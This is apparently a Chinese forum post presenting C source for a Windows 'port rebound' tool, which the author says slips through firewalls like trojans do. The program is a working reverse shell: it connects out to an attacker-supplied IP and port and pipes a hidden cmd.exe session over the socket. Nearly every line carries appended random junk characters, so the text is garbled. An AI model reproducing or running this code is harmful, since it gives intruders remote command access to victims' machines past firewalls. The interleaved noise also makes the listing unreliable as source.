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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D}wM$B@S  
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/* ============================== V_?5cwZ  
Rebound port in Windows NT :;S]jNy}j)  
By wind,2006/7  pojQ/  
===============================*/ e`fN+  
#include LoQm&3/  
#include Y=l91dxGI  
0Kxc$c  
#pragma comment(lib,"wsock32.lib") +^ n\?!  
hTZaI*  
void OutputShell(); pDO&I]S`q0  
SOCKET sClient; & Me%ZM0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'Jww}^h1  
VQO6!ToKY  
void main(int argc,char **argv) K%ltB&  
{ EM+#h'%-  
WSADATA stWsaData; L<encPJt  
int nRet; cTpAU9|(  
SOCKADDR_IN stSaiClient,stSaiServer; 7yLO<o?9w  
j_VTa/  
if(argc != 3) xJ)hGPrAl  
{ mr]IxTv  
printf("Useage:\n\rRebound DestIP DestPort\n"); ({g7{tUy^H  
return; Gk0f#;  
} A>8uLO G}  
.olDmFQD  
WSAStartup(MAKEWORD(2,2),&stWsaData); TOp|Qtn  
Q<.84 7 )  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b/:&iG;  
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stSaiClient.sin_family = AF_INET; h\ema|  
stSaiClient.sin_port = htons(0); )2KQZMtgm]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); | -l)$i@  
%Ji@\|Zkf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z{w!yMp"  
{ /l-lkG5  
printf("Bind Socket Failed!\n"); vq|o}6Et  
return; ?'_E$  
} =^m,|j|d>4  
h=uwOi6}  
stSaiServer.sin_family = AF_INET; D/C)Rrq"a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); hiWfVz{~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :<l(l\MC  
]p/f@j?LU  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6vySOVMj  
{ |[/[*hDZ9  
printf("Connect Error!"); Z&gM7Zo8  
return; I^*&u,  
} '`$z!rA  
OutputShell(); c`94a SnV  
} D3s]49j)  
hce *G@b  
void OutputShell() ~wmc5L/!?  
{ x}t,v.:  
char szBuff[1024]; ^W|B Xxo  
SECURITY_ATTRIBUTES stSecurityAttributes; RHc63b\  
OSVERSIONINFO stOsversionInfo; w,fA-*bZ 0  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5|>FM&  
STARTUPINFO stStartupInfo; jdsNZV  
char *szShell; AV\6K;~  
PROCESS_INFORMATION stProcessInformation; Ww&~ZZZ {  
unsigned long lBytesRead; 8.4 1EKr2  
J0@<6~V6o  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bM[!E8dF  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `wRQ-<Y  
stSecurityAttributes.lpSecurityDescriptor = 0; ^a&-GhX;  
stSecurityAttributes.bInheritHandle = TRUE; #jAlmxN  
&eYnO~$!  
O(U 'G|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZSC Zt&2v  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); tJ>|t hk  
 II;fBcXF  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?;Ck]l#5ys  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gq_rZo(@  
stStartupInfo.wShowWindow = SW_HIDE; -F.A1{l[.  
stStartupInfo.hStdInput = hReadPipe; '|mVY; i[  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UX3 ]cr  
{[~cQgCI  
GetVersionEx(&stOsversionInfo); 0F$;]zg  
dc[w`  
switch(stOsversionInfo.dwPlatformId) "L yMw){  
{ #-b0U[,.  
case 1: g.![>?2$8  
szShell = "command.com"; acd8?>%[  
break; <T?H H$es)  
default: P%`|Tu!B  
szShell = "cmd.exe"; "iFA&$\  
break; jiS|ara"  
} Vsh7>|@  
+DMD g.  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DU9A3Z  
vK\n4mE[,  
send(sClient,szMsg,77,0); CG!/Lbd  
while(1)  d~B ]s  
{ u~MD?!LV  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ~ZbEKqni2  
if(lBytesRead) VJ1(|v{D4[  
{ r[>4b}4s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~Q7)6%  
send(sClient,szBuff,lBytesRead,0); u2=gG.  
} QJ{to%  
else x8H%88!j*  
{ 3QlV,)}  
lBytesRead=recv(sClient,szBuff,1024,0); 7O6VnKl  
if(lBytesRead<=0) break; Z|&Y1k-h  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); t[Dg)adc  
} }1<_  
} 2,.%]U  
'\yp}r'u  
return; gY'w=(/`  
}
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